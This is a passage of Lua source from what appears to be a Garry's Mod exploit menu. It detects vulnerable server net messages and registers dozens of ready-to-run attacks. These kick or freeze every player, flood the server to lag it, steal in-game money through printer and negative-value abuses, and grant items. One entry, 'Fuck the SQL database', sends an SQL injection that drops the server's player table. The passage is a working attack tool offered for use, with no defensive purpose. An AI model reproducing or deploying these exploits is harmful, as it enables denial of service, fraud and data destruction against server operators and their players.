2937 if (status) then
2938 ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
2939
2940 addExploit("81", "Abuses Jailbreak Votekick", "kick all players", function()
2941 surface.PlaySound("garrysmod/ui_click.wav")
2942 ECNotify("Starting")
2943
2944 for k, v in pairs(player.GetAll()) do
2945 net.Start("JB_Votekick")
2946 net.WriteEntity(v)
2947 net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
2948 net.SendToServer()
2949 end
2950 end)
2951 end
2952
2953 status = ValidNetString("Letthisdudeout")
2954
2955 if (status) then
2956 ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
2957
2958 addExploit("82", "ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
2959 surface.PlaySound("garrysmod/ui_click.wav")
2960 ECNotify("Starting")
2961 net.Start("Letthisdudeout")
2962 net.WriteEntity(LocalPlayer())
2963 net.SendToServer()
2964 end)
2965 end
2966
2967 status = ValidNetString("opr_withdraw")
2968
2969 if (status) then
2970 ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
2971
2972 addExploit("83", "Lagger #14", "discovered by Leith", function()
2973 surface.PlaySound("garrysmod/ui_click.wav")
2974 ECNotify("Starting")
2975
2976 timer.Create("lagger14", 0, 0, function()
2977 for i = 1, 1000 do
2978 net.Start("opr_withdraw", true)
2979 net.WriteEntity(LocalPlayer())
2980 net.SendToServer()
2981 end
2982 end)
2983 end)
2984 end
2985
2986 status = ValidNetString("NC_GetNameChange")
2987
2988 if (status) then
2989 ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
2990
2991 addExploit("84", "Change all names", "allows you to change the rp names of all players", function()
2992 surface.PlaySound("garrysmod/ui_click.wav")
2993 inputFrameExists = true
2994 inputFrame = vgui.Create("DFrame")
2995 inputFrame:SetTitle("Enter the name")
2996 inputFrame:SetSize(400, 75)
2997 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
2998 inputFrame:SetDraggable(false)
2999 inputFrame:ShowCloseButton(true)
3000 inputFrame:MakePopup()
3001
3002 inputFrame.Paint = function(self, w, h)
3003 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
3004 end
3005
3006 local TextEntry = vgui.Create("DTextEntry", inputFrame)
3007 TextEntry:SetSize(380, 30)
3008 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
3009 TextEntry:SetText("AHAHAHAHAH")
3010
3011 TextEntry.OnEnter = function(self)
3012 surface.PlaySound("garrysmod/ui_click.wav")
3013 ECNotify("Starting")
3014
3015 for k, v in pairs(player.GetAll()) do
3016 net.Start("NC_GetNameChange")
3017 net.WriteEntity(v)
3018 net.WriteString((self:GetValue()))
3019 net.WriteString((self:GetValue()))
3020 net.SendToServer()
3021 end
3022 end
3023 end)
3024 end
3025
3026 status = ValidNetString("revival_revive_accept")
3027
3028 if (status) then
3029 ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
3030
3031 addExploit("85", "Reanimation #2", "instant revival, discovered by Leith", function()
3032 surface.PlaySound("garrysmod/ui_click.wav")
3033
3034 if not timer.Exists("exploit_revive") then
3035 ECNotify("Enabled")
3036
3037 timer.Create("exploit_revive", 0.5, 0, function()
3038 if not LocalPlayer():Alive() then
3039 net.Start("revival_revive_accept")
3040 net.SendToServer()
3041 end
3042 end)
3043 else
3044 timer.Remove("exploit_revive")
3045 ECNotify("Disabled")
3046 end
3047 end)
3048 end
3049
3050 status = ValidNetString("join_disconnect")
3051
3052 if (status) then
3053 ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
3054
3055 addExploit("86", "Lagger #15", "b1g lags my duder", function()
3056 surface.PlaySound("garrysmod/ui_click.wav")
3057 ECNotify("Starting")
3058
3059 if not timer.Exists("lagger15") then
3060 timer.Create("lagger15", 0.5, 0, function()
3061 for i = 1, 3000 do
3062 net.Start("join_disconnect", true)
3063 net.WriteEntity(table.Random(player.GetAll()))
3064 net.SendToServer()
3065 end
3066 end)
3067 else
3068 timer.Remove("lagger15")
3069 ECNotify("Stopping")
3070 end
3071 end)
3072 end
3073
3074 status = ValidNetString("BuyFirstTovar")
3075
3076 if (status) then
3077 ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
3078
3079 addExploit("87", "Free Physgun", "get physgun", function()
3080 surface.PlaySound("garrysmod/ui_click.wav")
3081 ECNotify("Take physgun")
3082 net.Start("BuyFirstTovar")
3083 net.WriteString("0")
3084 net.SendToServer()
3085 end)
3086 end
3087
3088 status = ValidNetString("BuySecondTovar")
3089
3090 if (status) then
3091 ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
3092
3093 addExploit("88", "Free Gravitygun", "get gravitygun", function()
3094 surface.PlaySound("garrysmod/ui_click.wav")
3095 ECNotify("Take gravitygun")
3096 net.Start("BuySecondTovar")
3097 net.WriteString("0")
3098 net.SendToServer()
3099 end)
3100 end
3101
3102 status = ValidNetString("MONEY_SYSTEM_GetWeapons")
3103
3104 if (status) then
3105 ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
3106
3107 addExploit("89", "Give Weapons #2", "get weapons", function()
3108 surface.PlaySound("garrysmod/ui_click.wav")
3109 ECNotify("Starting")
3110
3111 for i = 1, 32 do
3112 net.Start("MONEY_SYSTEM_GetWeapons")
3113 net.WriteInt(i, 8)
3114 net.SendToServer()
3115 end
3116 end)
3117 end
3118
3119 status = ValidNetString("MCon_Demote_ToServer")
3120
3121 if (status) then
3122 ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
3123
3124 addExploit("90", "Demote All Players #2", "demote all players", function()
3125 surface.PlaySound("garrysmod/ui_click.wav")
3126 ECNotify("Starting")
3127
3128 for k, v in pairs(player.GetAll()) do
3129 net.Start("MCon_Demote_ToServer")
3130 net.WriteString(v:SteamID())
3131 net.SendToServer()
3132 end
3133 end)
3134 end
3135
3136 status = ValidNetString("withdrawMoney")
3137
3138 if (status) then
3139 ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
3140
3141 addExploit("91", "Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
3142 surface.PlaySound("garrysmod/ui_click.wav")
3143 ECNotify("Starting")
3144
3145 for k, v in pairs(ents.GetAll()) do
3146 net.Start("withdrawMoney")
3147 net.WriteEntity(v)
3148 net.SendToServer()
3149 end
3150 end)
3151 end
3152
3153 status = ValidNetString("withdrawMoney")
3154
3155 if (status) then
3156 ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
3157
3158 addExploit("92", "Lagger #16", "discovered by Leith", function()
3159 surface.PlaySound("garrysmod/ui_click.wav")
3160 ECNotify("Starting")
3161
3162 timer.Create("lagger16", 0, 0, function()
3163 for i = 1, 1000 do
3164 net.Start("withdrawMoney", true)
3165 net.WriteEntity(LocalPlayer())
3166 net.SendToServer()
3167 end
3168 end)
3169 end)
3170 end
3171
3172 status = ValidNetString("SyncPrinterButtons76561198027292625")
3173
3174 if (status) then
3175 ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
3176
3177 addExploit("93", "Steal All Monies #4", "withdraw money from all printers", function()
3178 surface.PlaySound("garrysmod/ui_click.wav")
3179 ECNotify("Starting")
3180
3181 for k, v in pairs(ents.GetAll()) do
3182 net.Start("SyncPrinterButtons76561198027292625")
3183 net.WriteEntity(v)
3184 net.WriteUInt(2, 4)
3185 net.SendToServer()
3186 end
3187 end)
3188 end
3189
3190 status = ValidNetString("gPrinters.retrieveMoney")
3191
3192 if (status) then
3193 ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
3194
3195 addExploit("94", "Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
3196 surface.PlaySound("garrysmod/ui_click.wav")
3197 ECNotify("Starting")
3198
3199 for k, v in pairs(ents.GetAll()) do
3200 net.Start("gPrinters.retrieveMoney")
3201 net.WriteEntity(v)
3202 net.SendToServer()
3203 end
3204 end)
3205 end
3206
3207 status = ValidNetString("gPrinters.retrieveMoney")
3208
3209 if (status) then
3210 ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
3211
3212 addExploit("95", "Lagger #17", "discovered by Leith", function()
3213 surface.PlaySound("garrysmod/ui_click.wav")
3214 ECNotify("Starting")
3215
3216 timer.Create("lagger17", 0, 0, function()
3217 for i = 1, 1000 do
3218 net.Start("gPrinters.retrieveMoney", true)
3219 net.WriteEntity(LocalPlayer())
3220 net.SendToServer()
3221 end
3222 end)
3223 end)
3224 end
3225
3226 status = ValidNetString("NGII_TakeMoney")
3227
3228 if (status) then
3229 ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
3230
3231 addExploit("96", "Steal All Monies #6", "withdraw money from all printers", function()
3232 surface.PlaySound("garrysmod/ui_click.wav")
3233 ECNotify("Starting")
3234
3235 for k, v in pairs(ents.GetAll()) do
3236 net.Start("NGII_TakeMoney")
3237 net.WriteEntity(v)
3238 net.WriteEntity(LocalPlayer())
3239 net.SendToServer()
3240 end
3241 end)
3242 end
3243
3244 status = ValidNetString("money_clicker_withdraw")
3245
3246 if (status) then
3247 ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
3248
3249 addExploit("97", "Lagger #18", "discovered by Leith", function()
3250 surface.PlaySound("garrysmod/ui_click.wav")
3251 ECNotify("Starting")
3252
3253 timer.Create("lagger18", 0, 0, function()
3254 for i = 1, 1000 do
3255 net.Start("money_clicker_withdraw", true)
3256 net.WriteEntity(LocalPlayer())
3257 net.SendToServer()
3258 end
3259 end)
3260 end)
3261 end
3262
3263 status = ValidNetString("opr_withdraw")
3264
3265 if (status) then
3266 ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
3267
3268 addExploit("98", "Steal All Monies #7", "withdraw money from all printers", function()
3269 surface.PlaySound("garrysmod/ui_click.wav")
3270 ECNotify("Starting")
3271
3272 for k, v in pairs(ents.GetAll()) do
3273 net.Start("opr_withdraw")
3274 net.WriteEntity(v)
3275 net.SendToServer()
3276 end
3277 end)
3278 end
3279
3280 status = ValidNetString("NET_DoPrinterAction")
3281
3282 if (status) then
3283 ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
3284
3285 addExploit("99", "Steal All Monies #8", "withdraw money from all printers", function()
3286 surface.PlaySound("garrysmod/ui_click.wav")
3287 ECNotify("Starting")
3288
3289 for k, v in pairs(ents.GetAll()) do
3290 if v:GetClass():find("print") then
3291 net.Start("NET_DoPrinterAction")
3292 net.WriteEntity(LocalPlayer())
3293 net.WriteEntity(v)
3294 net.WriteInt(2, 16)
3295 net.SendToServer()
3296 end
3297 end
3298 end)
3299 end
3300
3301 status = ValidNetString("tickbooksendfine")
3302
3303 if (status) then
3304 ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
3305
3306 addExploit("100", "Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
3307 surface.PlaySound("garrysmod/ui_click.wav")
3308 ECNotify("Starting")
3309 local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
3310
3311 for k, v in pairs(player.GetAll()) do
3312 if v ~= LocalPlayer() then
3313 net.Start("tickbooksendfine")
3314 net.WriteString(v:SteamID())
3315 net.WriteTable(reasonstable)
3316 net.WriteDouble(3000, 32)
3317 net.SendToServer()
3318 end
3319 end
3320 end)
3321 end
3322
3323 status = ValidNetString("SyncPrinterButtons16690")
3324
3325 if (status) then
3326 ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
3327
3328 addExploit("101", "Steal All Monies #9", "withdraw money from all printers", function()
3329 surface.PlaySound("garrysmod/ui_click.wav")
3330 ECNotify("Starting")
3331
3332 for k, v in pairs(ents.GetAll()) do
3333 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
3334 net.Start("SyncPrinterButtons16690")
3335 net.WriteEntity(v)
3336 net.WriteUInt(2, 4)
3337 net.SendToServer()
3338 end
3339 end
3340 end)
3341 end
3342
3343 status = ValidNetString("withdrawp")
3344
3345 if (status) then
3346 ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
3347
3348 addExploit("102", "Steal All Monies #10", "withdraw money from all printers", function()
3349 surface.PlaySound("garrysmod/ui_click.wav")
3350 ECNotify("Starting")
3351
3352 for k, v in pairs(ents.FindByClass("derma_printer")) do
3353 net.Start("withdrawp")
3354 net.WriteEntity(v)
3355 net.SendToServer()
3356 end
3357 end)
3358 end
3359
3360 status = ValidNetString("withdrawp")
3361
3362 if (status) then
3363 ECPrint("Found Exploit: Lagger #19 [withdrawp]")
3364
3365 addExploit("103", "Lagger #19", "discovered by Leith", function()
3366 surface.PlaySound("garrysmod/ui_click.wav")
3367 ECNotify("Starting")
3368
3369 timer.Create("lagger19", 0, 0, function()
3370 for i = 1, 1000 do
3371 net.Start("withdrawp", true)
3372 net.WriteEntity(LocalPlayer())
3373 net.SendToServer()
3374 end
3375 end)
3376 end)
3377 end
3378
3379 status = ValidNetString("DarkRP_SS_Gamble")
3380
3381 if (status) then
3382 ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
3383
3384 addExploit("104", "Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
3385 surface.PlaySound("garrysmod/ui_click.wav")
3386 ECNotify("Starting")
3387 net.Start("DarkRP_SS_Gamble")
3388 net.WriteInt(99999, 32)
3389 net.WriteInt(1, 32)
3390 net.WriteInt(0, 32)
3391 net.WriteInt(0, 32)
3392 net.WriteInt(1, 32)
3393 net.SendToServer()
3394 end)
3395 end
3396
3397 status = ValidNetString("PCAdd")
3398
3399 if (status) then
3400 ECPrint("Found Exploit: Delete Promocode [PCAdd]")
3401
3402 addExploit("105", "Delete Promocode", "delete all promocodes", function()
3403 surface.PlaySound("garrysmod/ui_click.wav")
3404 ECNotify("Starting")
3405 net.Start("PCAdd")
3406 net.WriteString("alahman")
3407 net.WriteString("300000000")
3408 net.SendToServer()
3409
3410 timer.Simple(3, function()
3411 net.Start("ActivatePC")
3412 net.WriteString("alahman")
3413 net.SendToServer()
3414 net.Start("PCDelAll")
3415 net.SendToServer()
3416 end)
3417 end)
3418 end
3419
3420 status = ValidNetString("viv_hl2rp_disp_message")
3421
3422 if (status) then
3423 ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
3424
3425 addExploit("106", "HL2 Disp Message", "hl2 voice commands", function()
3426 surface.PlaySound("garrysmod/ui_click.wav")
3427 ECNotify("Starting")
3428
3429 for name, command in pairs(dispatchCommands) do
3430 net.Start("viv_hl2rp_disp_message")
3431 net.WriteString(command)
3432 net.SendToServer()
3433 end
3434 end)
3435 end
3436
3437 status = ValidNetString("Kun_SellDrug")
3438
3439 if (status) then
3440 ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
3441
3442 addExploit("107", "Free Money #4", "get monies", function()
3443 surface.PlaySound("garrysmod/ui_click.wav")
3444
3445 if not timer.Exists("freemoney4") then
3446 ECNotify("Starting")
3447
3448 timer.Create("freemoney4", 0, 0, function()
3449 for i = 1, 1000 do
3450 net.Start("Kun_SellDrug")
3451 net.WriteString("mushroom")
3452 net.SendToServer()
3453 end
3454 end)
3455 else
3456 timer.Remove("freemoney4")
3457 ECNotify("Stopping")
3458 end
3459 end)
3460 end
3461
3462 status = ValidNetString("net_PSUnBoxServer")
3463
3464 if (status) then
3465 ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
3466
3467 addExploit("108", "Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
3468 surface.PlaySound("garrysmod/ui_click.wav")
3469 ECNotify("Starting")
3470
3471 for k, v in pairs(player.GetAll()) do
3472 local i = 0
3473
3474 for k2, v2 in pairs(PS.Items) do
3475 if not v:PS_HasItem(v2.ID) then
3476 timer.Simple(k * i * 1.7, function()
3477 net.Start("net_PSUnBoxServer")
3478 net.WriteEntity(v)
3479 net.WriteString(v2.ID)
3480 net.SendToServer()
3481 end)
3482
3483 i = i + 1
3484 end
3485 end
3486 end
3487 end)
3488 end
3489
3490 status = ValidNetString("pplay_sendtable")
3491
3492 if (status) then
3493 ECPrint("Found Exploit: ☢ Fuck the SQL database ☢ [pplay_sendtable]")
3494
3495 addExploit("109", "☢ Fuck the SQL database ☢", "fuck all", function()
3496 surface.PlaySound("garrysmod/ui_click.wav")
3497 ECNotify("Starting")
3498 local tbl = {}
3499 tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3500 tbl.ply = LocalPlayer()
3501 net.Start("pplay_sendtable")
3502 net.WriteTable(tbl)
3503 net.SendToServer()
3504 end)
3505 end
3506
3507 status = ValidNetString("75_plus_win")
3508
3509 if (status) then
3510 ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
3511
3512 addExploit("110", "Free Money #5", "get money", function()
3513 surface.PlaySound("garrysmod/ui_click.wav")
3514 ECNotify("Starting")
3515 net.Start("75_plus_win")
3516 net.WriteString("99999999")
3517 net.WriteEntity(LocalPlayer())
3518 net.SendToServer()
3519 end)
3520 end
3521
3522 status = ValidNetString("ATMDepositMoney")
3523
3524 if (status) then
3525 ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
3526
3527 addExploit("111", "Free Money #6", "an exploit in 'ATM'", function()
3528 surface.PlaySound("garrysmod/ui_click.wav")
3529 ECNotify("Starting")
3530 net.Start("ATMDepositMoney")
3531 net.WriteFloat(-9999999)
3532 net.SendToServer()
3533 end)
3534 end
3535
3536 status = ValidNetString("SellMinerals")
3537
3538 if (status) then
3539 ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
3540
3541 addExploit("112", "Free Money #7", "an exploit in 'eMining'", function()
3542 surface.PlaySound("garrysmod/ui_click.wav")
3543 ECNotify("Starting")
3544
3545 for k, v in pairs(SkillDB) do
3546 if not (v.iSkill == true) then
3547 net.Start("Upgrade")
3548
3549 net.WriteTable({
3550 LuaName = v.LuaName,
3551 Amount = -9999999
3552 })
3553
3554 net.SendToServer()
3555 net.Start("SellMinerals")
3556
3557 net.WriteTable({
3558 Target = LocalPlayer()
3559 })
3560
3561 net.SendToServer()
3562 end
3563 end
3564 end)
3565 end
3566
3567 status = ValidNetString("TakeBetMoney")
3568
3569 if (status) then
3570 ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
3571
3572 addExploit("113", "Free Money #8", "get money", function()
3573 surface.PlaySound("garrysmod/ui_click.wav")
3574 ECNotify("Starting")
3575 net.Start("TakeBetMoney")
3576 net.WriteTable({1e333333, 1e333333})
3577 net.SendToServer()
3578 end)
3579 end
3580
3581 status = ValidNetString("Kun_SellOil")
3582
3583 if (status) then
3584 ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
3585
3586 addExploit("114", "Free Money #9", "get money", function()
3587 surface.PlaySound("garrysmod/ui_click.wav")
3588 ECNotify("Starting")
3589
3590 for k, v in pairs(ents.GetAll()) do
3591 net.Start("Kun_SellOil")
3592 net.WriteEntity(v)
3593 net.SendToServer()
3594 end
3595 end)
3596 end
3597
3598
3599 status = ValidNetString("DepositMoney")
3600
3601 if (status) then
3602 ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
3603
3604 addExploit("115", "Free Money #10", "get money", function()
3605 surface.PlaySound("garrysmod/ui_click.wav")
3606 ECNotify("Starting")
3607 net.Start("DepositMoney")
3608
3609 for k, v in pairs(ents.GetAll()) do
3610 net.WriteEntity(v)
3611 net.WriteString(-100000000)
3612 net.WriteEntity(LocalPlayer())
3613 net.SendToServer()
3614 end
3615 end)
3616 end
3617
3618 status = ValidNetString("NET_SS_DoBuyTakeoff")
3619
3620 if (status) then
3621 ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
3622
3623 addExploit("116", "Free Money #11", "get money", function()
3624 surface.PlaySound("garrysmod/ui_click.wav")
3625 ECNotify("Starting")
3626 net.Start("NET_SS_DoBuyTakeoff", true)
3627 net.WriteEntity(LocalPlayer())
3628 net.WriteEntity(table.Random(player.GetAll()))
3629 net.WriteTable({})
3630 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
3631 net.SendToServer()
3632 end)
3633 end
3634
3635 status = ValidNetString("NET_EcSetTax")
3636
3637 if (status) then
3638 ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
3639
3640 addExploit("117", "Free Money #12", "get money", function()
3641 surface.PlaySound("garrysmod/ui_click.wav")
3642 ECNotify("Starting")
3643 net.Start("NET_EcSetTax")
3644 net.WriteInt(-9999999999, 16)
3645 net.SendToServer()
3646 end)
3647 end
3648
3649 status = ValidNetString("RP_Accept_Fine")
3650
3651 if (status) then
3652 ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
3653
3654 addExploit("118", "Free Money #13", "get money", function()
3655 surface.PlaySound("garrysmod/ui_click.wav")
3656 ECNotify("Starting")
3657
3658 for k, v in pairs(player.GetAll()) do
3659 net.Start("RP_Accept_Fine")
3660 net.WriteString(v:Nick())
3661 net.WriteDouble(-999999999999)
3662 net.SendToServer()
3663 end
3664 end)
3665 end
3666
3667 status = ValidNetString("drugseffect_remove")
3668
3669 if (status) then
3670 ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
3671
3672 addExploit("119", "Remove Weapons", "remove all weapons", function()
3673 surface.PlaySound("garrysmod/ui_click.wav")
3674 ECNotify("Starting")
3675 net.Start("drugseffect_remove")
3676 net.SendToServer()
3677 end)
3678 end
3679
3680 status = ValidNetString("drugs_money")
3681
3682 if (status) then
3683 ECPrint("Found Exploit: Remove Money [drugs_money]")
3684
3685 addExploit("120", "Remove Money", "remove all money", function()
3686 surface.PlaySound("garrysmod/ui_click.wav")
3687 ECNotify("Starting")
3688 net.Start("drugs_money")
3689 net.SendToServer()
3690 end)
3691 end
3692
3693 status = ValidNetString("CRAFTINGMOD_SHOP")
3694
3695 if (status) then
3696 ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
3697
3698 addExploit("121", "Free Money #14", "an exploit in 'crafting mod'", function()
3699 surface.PlaySound("garrysmod/ui_click.wav")
3700 ECNotify("Starting")
3701 net.Start("CRAFTINGMOD_SHOP")
3702
3703 net.WriteTable({
3704 BUY = -9999999,
3705 type = 1
3706 })
3707
3708 net.WriteInt(1, 16)
3709 net.SendToServer()
3710 end)
3711 end
3712
3713 status = ValidNetString("drugs_ignite")
3714
3715 if (status) then
3716 ECPrint("Found Exploit: Fire Players [drugs_ignite]")
3717
3718 addExploit("122", "Fire Players", "", function()
3719 surface.PlaySound("garrysmod/ui_click.wav")
3720 ECNotify("Starting")
3721 net.Start("drugs_ignite")
3722 net.WriteString("player")
3723 net.SendToServer()
3724 end)
3725 end
3726
3727 status = ValidNetString("drugs_ignite")
3728
3729 if (status) then
3730 ECPrint("Found Exploit: Fire Props [drugs_ignite]")
3731
3732 addExploit("123", "Fire Props", "", function()
3733 surface.PlaySound("garrysmod/ui_click.wav")
3734 ECNotify("Starting")
3735 net.Start("drugs_ignite")
3736 net.WriteString("prop_physics")
3737 net.SendToServer()
3738 end)
3739 end
3740
3741 status = ValidNetString("drugseffect_hpremove")
3742
3743 if (status) then
3744 ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
3745
3746 addExploit("124", "Change HP", "", function()
3747 surface.PlaySound("garrysmod/ui_click.wav")
3748 ECNotify("Starting")
3749 net.Start("drugseffect_hpremove")
3750 net.WriteString(99999)
3751 net.SendToServer()
3752 end)
3753 end
3754
3755 status = ValidNetString("drugs_text")
3756
3757 if (status) then
3758 ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
3759
3760 addExploit("125", "Delete All Props #2", "", function()
3761 surface.PlaySound("garrysmod/ui_click.wav")
3762 ECNotify("Starting")
3763 net.Start("drugs_text")
3764 net.WriteString("prop_physics")
3765 net.SendToServer()
3766 end)
3767 end
3768
3769 status = ValidNetString("drugs_give")
3770
3771 if (status) then
3772 ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
3773
3774 addExploit("126", "Give Everyone RPG", "", function()
3775 surface.PlaySound("garrysmod/ui_click.wav")
3776 ECNotify("Starting")
3777 net.Start("drugs_give")
3778 net.WriteString("weapon_rpg")
3779 net.SendToServer()
3780 end)
3781 end
3782
3783 status = ValidNetString("drugs_text")
3784
3785 if (status) then
3786 ECPrint("Found Exploit: Remove Water [drugs_text]")
3787
3788 addExploit("127", "Remove Water", "", function()
3789 surface.PlaySound("garrysmod/ui_click.wav")
3790 ECNotify("Starting")
3791 net.Start("drugs_text")
3792 net.WriteString("func_water_analog")
3793 net.SendToServer()
3794 end)
3795 end
3796
3797 status = ValidNetString("drugs_effect")
3798
3799 if (status) then
3800 local eye = LocalPlayer():GetEyeTrace().Entity
3801 local send = "del|" .. eye:EntIndex()
3802 ECPrint("Found Exploit: Remove looking at [drugs_effect]")
3803
3804 addExploit("128", "Remove looking at", "", function()
3805 surface.PlaySound("garrysmod/ui_click.wav")
3806 ECNotify("Starting")
3807 net.Start("drugs_effect")
3808 net.WriteString(send)
3809 net.SendToServer()
3810 end)
3811 end
3812
3813 status = ValidNetString("RecKickAFKer")
3814
3815 if (status) then
3816 ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
3817
3818 addExploit("129", "Kick Everyone #2", "kick all players", function()
3819 surface.PlaySound("garrysmod/ui_click.wav")
3820 ECNotify("Starting")
3821
3822 for k, v in pairs(player.GetAll()) do
3823 net.Start("RecKickAFKer")
3824 net.WriteEntity(v)
3825 net.SendToServer()
3826 end
3827 end)
3828 end
3829
3830 status = ValidNetString("GMBG:PickupItem")
3831
3832 if (status) then
3833 ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
3834
3835 addExploit("130", "Loot Items", "", function()
3836 surface.PlaySound("garrysmod/ui_click.wav")
3837 ECNotify("Starting")
3838
3839 for k, v in pairs(ents.GetAll()) do
3840 if v:GetClass() == "item_loot" then
3841 net.Start("GMBG:PickupItem")
3842 net.WriteEntity(v)
3843 net.SendToServer()
3844 net.Start("GMBG:PickupItem")
3845 net.WriteEntity(v)
3846 net.SendToServer()
3847 net.Start("GMBG:PickupItem")
3848 net.WriteEntity(v)
3849 net.SendToServer()
3850 net.Start("GMBG:PickupItem")
3851 net.WriteEntity(v)
3852 net.SendToServer()
3853 net.Start("GMBG:PickupItem")
3854 net.WriteEntity(v)
3855 net.SendToServer()
3856 net.Start("GMBG:PickupItem")
3857 net.WriteEntity(v)
3858 net.SendToServer()
3859 end
3860 end
3861 end)
3862 end
3863
3864 status = ValidNetString("plyWarning")
3865
3866 if (status) then
3867 ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
3868
3869 addExploit("131", "Kick Everyone #3", "kick all players", function()
3870 surface.PlaySound("garrysmod/ui_click.wav")
3871 ECNotify("Starting")
3872
3873 for k, v in pairs(player.GetAll()) do
3874 net.Start('plyWarning')
3875 net.WriteEntity(v)
3876 net.WriteString('You have to select a player before doing a action.')
3877 net.SendToServer()
3878 end
3879 end)
3880 end
3881
3882 status = ValidNetString("NLR.ActionPlayer")
3883
3884 if (status) then
3885 ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
3886
3887 addExploit("132", "Freeze Everyone", "", function()
3888 surface.PlaySound("garrysmod/ui_click.wav")
3889 ECNotify("Starting")
3890
3891 for k, v in pairs(player.GetAll()) do
3892 net.Start("NLR.ActionPlayer")
3893 net.WriteEntity(v)
3894 net.SendToServer()
3895 end
3896 end)
3897 end
3898
3899 status = ValidNetString("kart_sell")
3900
3901 if (status) then
3902 ECPrint("Found Exploit: Free Money #15 [kart_sell]")
3903
3904 addExploit("133", "Free Money #15", "get money", function()
3905 surface.PlaySound("garrysmod/ui_click.wav")
3906 ECNotify("Starting")
3907
3908 for i = 1, 300 do
3909 net.Start("kart_sell")
3910 net.WriteString("sw_gokart")
3911 net.SendToServer()
3912 end
3913 end)
3914 end
3915
3916 status = ValidNetString("ClickerAddToPoints")
3917
3918 if (status) then
3919 ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
3920
3921 addExploit("134", "Free Points", "", function()
3922 surface.PlaySound("garrysmod/ui_click.wav")
3923 ECNotify("Starting")
3924 net.Start("ClickerAddToPoints")
3925 net.WriteInt(99999999, 32)
3926 net.SendToServer()
3927 end)
3928 end
3929
3930 status = ValidNetString("bodyman_model_change")
3931
3932 if (status) then
3933 ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
3934
3935 addExploit("135", "Body Groups", "constantly changes your appearance", function()
3936 surface.PlaySound("garrysmod/ui_click.wav")
3937 ECNotify("Starting")
3938 local PM = 1
3939 local SK = 1
3940 local BG = 1
3941 local HN = 1
3942 local TS = 1
3943 local GL = 1
3944 local LG = 1
3945
3946 if not timer.Exists("bodygroups") then
3947 timer.Create("bodygroups", 0, 0, function()
3948 PlayerModels = {0, 1, 2, 3, 4, 5, 6}
3949 Torso = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3950 Legs = {0, 1, 2, 3, 4, 5, 6}
3951 Hands = {0, 1, 2}
3952 Glasses = {0, 1}
3953 Skins = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10}
3954 PM = PM + 1
3955 TS = TS + 1
3956 LG = LG + 1
3957 HN = HN + 1
3958 GL = GL + 1
3959 SK = SK + 1
3960
3961 if (PM > #PlayerModels) then
3962 PM = 1
3963 end
3964
3965 if (SK > #Skins) then
3966 SK = 1
3967 end
3968
3969 if (HN > #Hands) then
3970 HN = 1
3971 end
3972
3973 if (TS > #Torso) then
3974 TS = 1
3975 end
3976
3977 if (GL > #Glasses) then
